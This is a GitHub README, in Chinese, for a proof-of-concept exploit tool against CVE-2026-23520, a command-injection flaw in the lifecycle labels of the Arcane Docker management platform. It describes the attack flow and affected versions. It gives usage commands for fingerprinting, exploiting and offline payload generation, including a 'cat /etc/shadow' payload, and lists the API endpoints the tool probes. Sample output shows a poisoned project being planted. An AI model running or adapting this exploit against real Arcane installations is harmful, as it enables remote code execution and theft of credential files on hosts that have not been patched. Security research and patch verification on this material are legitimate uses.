Augmaster/POC-CVE-2026-23520

GitHub: Augmaster/POC-CVE-2026-23520

针对 Arcane Docker 管理平台生命周期标签命令注入漏洞(CVE-2026-23520)的 PoC 工具,支持指纹探测、在线利用与离线 payload 生成。

Stars: 1 | Forks: 0

# CVE-2026-23520 — Arcane 生命周期标签 RCE

## 概述 [Arcane](https://getarcane.app/) 是一个现代化的基于 Web 的 Docker 管理平台。**1.13.0** 之前的版本存在漏洞,允许经过身份验证的用户通过更新器服务的生命周期标签进行 **远程代码执行 (RCE)**。 更新器服务支持两个 Docker 容器标签: | Label | Trigger | |---|---| | `com.getarcaneapp.arcane.lifecycle.pre-update` | 容器更新前 | | `com.getarcaneapp.arcane.lifecycle.post-update` | 容器更新后 | 标签值**直接**传递给 `/bin/sh -c`,未经任何过滤。由于**任何经过身份验证的用户**(不仅仅是管理员)都可以通过 API 创建项目,攻击者可以植入一个带有恶意指令的项目。当管理员随后触发容器更新时,注入的命令会在容器内执行——如果存在卷挂载,甚至可能在宿主机上执行。 ## 攻击流程 ``` Attacker (low-priv user) Arcane Server ──────────────────────── ────────────── 1. Authenticate (any user) ──────────► JWT issued 2. Create project with Project saved with poisoned lifecycle label ──────────► malicious label │ ┌───────────────────────────────────┘ │ 3. Admin triggers container update ▼ Arcane updater reads label value Passes it to /bin/sh -c │ ▼ *** Arbitrary command execution *** (container scope, or host if volumes mounted) ``` ## 受影响版本 | Status | Versions | |---|---| | **受影响** | Arcane < 1.13.0 | | **已修复** | Arcane ≥ 1.13.0 | 该修复 ([commit `5a9c2f9`](https://github.com/getarcaneapp/arcane/commit/5a9c2f92e11f86f8997da8c672844468f930b7e4)) 完全移除了生命周期标签功能,以消除攻击面。 ## 功能特性 - **零依赖** — 仅使用 stdlib `urllib`,可在任何 Python 3.10+ 上运行 - **弹性探测** — 静默尝试多种 API 路径、响应键名和凭据字段格式,以适应不同的 Arcane 版本和配置 - **三种模式** — `check` (指纹识别), `exploit` (部署), `generate` (离线生成 compose 文件) - **详细模式** (`-v`) — 精确显示正在探测的端点及其返回内容 ## 使用方法 ### 检查目标是否存在漏洞 ``` python3 poc_cve_2026_23520.py check -t ``` ### 部署漏洞利用 ``` python3 poc_cve_2026_23520.py exploit \ -t \ -u \ -p \ --payload "id" ``` ### 生成恶意 compose 文件(离线) ``` python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow" ``` ### 调试端点探测 ``` python3 poc_cve_2026_23520.py -v check -t ``` ### 完整选项 ``` usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ... positional arguments: {exploit,check,generate} exploit Deploy the poisoned project via the Arcane API check Fingerprint Arcane and check if vulnerable generate Generate a poisoned compose file (no network required) options: -h, --help show this help message and exit -v, --verbose Show probing debug output ``` **漏洞利用标志位:** | Flag | Description | Default | |---|---|---| | `-t, --target` | Arcane 主机 (IP 或主机名) | *必填* | | `-P, --port` | Arcane 端口 | `3552` | | `-u, --username` | 任何经过身份验证的 Arcane 用户 | *必填* | | `-p, --password` | 用户密码 | *必填* | | `--payload` | 要注入的 Shell 命令 | `id` | | `--hook` | `pre` 或 `post` 更新钩子 | `pre` | | `--project-name` | 恶意项目的名称 | `poc-cve-2026-23520` | | `--env-id` | 环境 ID (如果省略则自动检测) | auto | | `--scheme` | `http` 或 `https` | `http` | | `--no-verify` | 跳过 TLS 证书验证 | off | ## 端点弹性 该脚本没有硬编码单一的 API 路径。相反,它会静默探测每个操作的多个已知路径,并在首次命中时停止: | Operation | Endpoints tried | |---|---| | **Version** | `/api/version`, `/api/system/version`, `/api/v1/version`, `/api/settings/version`, `/api/status`, `/api/health`, `/api/info` | | **Auth** | `/api/auth/login`, `/api/login`, `/api/v1/auth/login`, `/api/auth/signin`, `/api/users/login` | | **Environments** | `/api/environments`, `/api/v1/environments`, `/api/endpoints`, `/api/v1/endpoints` | | **Project create** | `/api/environments/{id}/projects`, `/api/v1/environments/{id}/projects`, `/api/projects`, `/api/v1/projects`, 以及更多 | 响应键也进行灵活匹配(例如 `currentVersion`, `version`, `Version`, `serverVersion` —— 包括嵌套对象和不区分大小写的查找)。 ## 示例输出 ``` ╔═══════════════════════════════════════════════════════╗ ║ CVE-2026-23520 PoC Exploit ║ ║ Arcane < 1.13.0 — Lifecycle Label RCE ║ ╚═══════════════════════════════════════════════════════╝ ── Step 1 · Fingerprinting Target ── [*] Target: http://10.129.7.208:3552 [*] Probing version endpoints … [+] Found version via /api/version [+] Arcane version: v1.12.4 [+] Version v1.12.4 is < 1.13.0 — VULNERABLE ── Step 2 · Authentication ── [*] Authenticating as attacker … [+] JWT obtained via /api/auth/login ── Step 3 · Environment Discovery ── [*] Probing environment endpoints … [+] Found 1 environment(s) via /api/environments [*] → 1 (local) [+] Using environment: 1 ── Step 4 · Planting Poisoned Project ── [*] Injecting payload into lifecycle label: pre-update [*] Label : com.getarcaneapp.arcane.lifecycle.pre-update [*] Value : id [+] Project created via /api/environments/1/projects ── Exploit Planted Successfully ── [+] The poisoned project is now waiting for an update trigger. ``` ## 参考资料 - **安全公告:** [GHSA-gjqq-6r35-w3r8](https://github.com/getarcaneapp/arcane/security/advisories/GHSA-gjqq-6r35-w3r8) - **NVD:** [CVE-2026-23520](https://nvd.nist.gov/vuln/detail/CVE-2026-23520) - **修复提交:** [`5a9c2f9`](https://github.com/getarcaneapp/arcane/commit/5a9c2f92e11f86f8997da8c672844468f930b7e4) - **已修复版本:** [v1.13.0](https://github.com/getarcaneapp/arcane/releases/tag/v1.13.0) ## 免责声明 本工具仅供**授权安全测试和教育目的**使用。未经授权访问计算机系统是非法的。作者不对任何滥用行为负责。请仅针对您拥有或拥有明确书面测试许可的系统使用本工具。 ## 许可证 MIT
标签:Arcane, CISA项目, CVE-2026-23520, CWE-78, Docker安全, Docker管理平台, OS命令注入, PoC, RCE, Web安全, Web截图, Web报告查看器, 供应链攻击, 协议分析, 命令注入, 容器安全, 暴力破解, 权限提升, 生命周期标签, 编程工具, 蓝队分析, 远程代码执行, 高危漏洞